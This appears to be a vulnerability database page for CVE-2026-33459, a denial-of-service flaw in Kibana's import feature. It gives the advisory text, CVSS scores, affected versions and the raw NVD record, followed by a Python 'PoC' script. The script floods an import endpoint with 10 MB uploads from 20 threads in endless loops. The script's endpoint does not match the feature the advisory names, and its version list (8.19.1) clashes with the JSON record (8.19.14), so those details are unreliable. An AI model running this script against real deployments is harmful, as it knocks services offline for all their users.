CVE-2026-33459

Description

Uncontrolled Resource Consumption (CWE-400) in Kibana can lead to denial of service via Excessive Allocation (CAPEC-130). An authenticated user with access to the automatic import feature can submit specially crafted requests with excessively large input values. When multiple such requests are sent concurrently, the backend services become unstable, resulting in service disruption and deployment unavailability for all users.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:* - VULNERABLE

Kibana < 8.19.1

Kibana < 9.2.8

Kibana < 9.3.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import threading

# Configuration
target_url = "http://localhost:5601/api/saved_objects/_import"
username = "low_priv_user"
password = "password"

# Large payload to trigger excessive allocation
large_payload = "A" * 10000000  # 10MB string

def send_exploit():
    session = requests.Session()
    # Authentication (adjust endpoint based on Kibana version/config)
    auth_payload = {"username": username, "password": password}
    session.post("http://localhost:5601/api/security/login", json=auth_payload)
    
    # Prepare malicious file upload
    files = {
        'file': ('exploit.txt', large_payload, 'text/plain')
    }
    headers = {
        'kbn-xsrf': 'reporting' # Often required for Kibana APIs
    }
    
    try:
        while True:
            response = session.post(target_url, files=files, headers=headers, timeout=10)
            print(f"Sent request, status: {response.status_code}")
    except Exception as e:
        print(f"Error: {e}")

# Launch concurrent threads to simulate attack
for i in range(20):
    t = threading.Thread(target=send_exploit)
    t.start()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-33459
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-33459
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-33459/
[4] VulDB https://vuldb.com/cve/CVE-2026-33459
[5] https://discuss.elastic.co/t/kibana-8-19-14-9-2-8-9-3-3-security-update-esa-2026-26/385814

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-33459", "sourceIdentifier": "[email protected]", "published": "2026-04-08T18:26:00.407", "lastModified": "2026-04-13T18:21:25.010", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uncontrolled Resource Consumption (CWE-400) in Kibana can lead to denial of service via Excessive Allocation (CAPEC-130). An authenticated user with access to the automatic import feature can submit specially crafted requests with excessively large input values. When multiple such requests are sent concurrently, the backend services become unstable, resulting in service disruption and deployment unavailability for all users."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.15.0", "versionEndExcluding": "8.19.14", "matchCriteriaId": "35267655-DDDF-4A74-A438-4CF77E83D509"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.2.8", "matchCriteriaId": "301F60F3-1479-432C-875A-76797F9A16D8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:elastic:kibana:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.3.0", "versionEndExcluding": "9.3.3", "matchCriteriaId": "5EE7B9F3-E587-498B-822D-785CB848F767"}]}]}], "references": [{"url": "https://discuss.elastic.co/t/kibana-8-19-14-9-2-8-9-3-3-security-update-esa-2026-26/385814", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}